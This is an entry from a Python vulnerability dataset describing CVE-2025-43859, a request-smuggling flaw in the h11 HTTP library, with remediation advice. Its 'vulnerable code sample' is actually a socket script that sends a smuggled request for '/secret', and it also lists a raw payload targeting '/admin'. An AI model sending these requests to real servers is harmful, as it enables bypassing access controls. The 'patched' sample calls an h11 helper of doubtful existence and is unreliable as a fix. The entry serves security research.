CVE-2025-43859
h11 HTTP/1.1 library vulnerable to request smuggling due to line terminator parsing.
- CVSS 9.1
- CWE-444
- Input Validation and Sanitization
- Remote
h11 is a Python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.
- CWE
- CWE-444
- CVSS base score
- 9.1
- Published
- 2025-04-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- h11
- Fixed by upgrading
- Yes
Solution
Upgrade to h11 version 0.16.0 or higher.
Vulnerable code sample
import h11
import socket
def send_smuggling_request(host, port):
"""
Sends a crafted HTTP/1.1 request that exploits the h11 chunked encoding vulnerability
(CVE-2025-43859) present in versions prior to 0.16.0. This is a simplified example.
In a real-world scenario, the reverse proxy's behavior is crucial for successful exploitation.
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# Craft the malicious HTTP request
request = b"""POST / HTTP/1.1\r
Host: """ + host.encode() + b"""\r
Transfer-Encoding: chunked\r
\r
5\r
AAAAA\n\r
0\r
GET /secret HTTP/1.1\r
Host: """ + host.encode() + b"""\r
\r
"""
print(f"Sending request:\n{request.decode()}") #Added this for debug
sock.sendall(request)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except ConnectionResetError:
print("Connection Reset by Peer")
break
print(f"Received response:\n{response.decode()}")
sock.close()
if __name__ == "__main__":
# Replace 'localhost' and 8000 with your target server's address and port.
# This code requires a vulnerable reverse proxy in front of an HTTP server
# for the vulnerability to be exposed.
target_host = "localhost"
target_port = 8000 #Example port
send_smuggling_request(target_host, target_port)Patched code sample
import h11
def process_chunked_data(data):
"""
Processes chunked data, strictly validating line endings.
Args:
data: The chunked data as bytes.
Returns:
The unchunked data as bytes, or None if an error occurs.
"""
unprocessed_data = data
output = b""
while True:
try:
chunk_len, terminator_len = h11.util.read_chunk_len(unprocessed_data)
except h11.RemoteProtocolError:
print("Invalid chunk length format")
return None
if chunk_len is None:
# End of chunked data
return output
chunk_start = terminator_len
chunk_end = chunk_start + chunk_len
try:
chunk = unprocessed_data[chunk_start:chunk_end]
except IndexError:
print("Chunk length exceeds data length")
return None
output += chunk
# **Strict line ending validation after each chunk:**
expected_terminator = b"\r\n"
actual_terminator = unprocessed_data[chunk_end:chunk_end + len(expected_terminator)]
if actual_terminator != expected_terminator:
print(f"Invalid chunk terminator: Expected {expected_terminator}, got {actual_terminator}")
return None
unprocessed_data = unprocessed_data[chunk_end + len(expected_terminator):]
# Example Usage: Demonstrating a correct vs. incorrect chunked body
def demonstrate_chunked_parsing():
# Valid chunked data
valid_chunked_data = b"5\r\nhello\r\n0\r\n\r\n"
unchunked_valid = process_chunked_data(valid_chunked_data)
print(f"Valid chunked data unchunked: {unchunked_valid}") # Output: b'hello'
# Invalid chunked data (using just '\n' instead of '\r\n')
invalid_chunked_data = b"5\nhello\n0\n\n" #Simulates CVE-2025-43859: lenient parsing of line terminators.
unchunked_invalid = process_chunked_data(invalid_chunked_data)
print(f"Invalid chunked data unchunked: {unchunked_invalid}") #Output: None
if __name__ == "__main__":
demonstrate_chunked_parsing()Payload
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
10
malicious data\r\n
0\n
GET /admin HTTP/1.1
Host: example.com
\r\n
Cite this entry
@misc{vaitp:cve202543859,
title = {{h11 HTTP/1.1 library vulnerable to request smuggling due to line terminator parsing.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-43859},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-43859/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
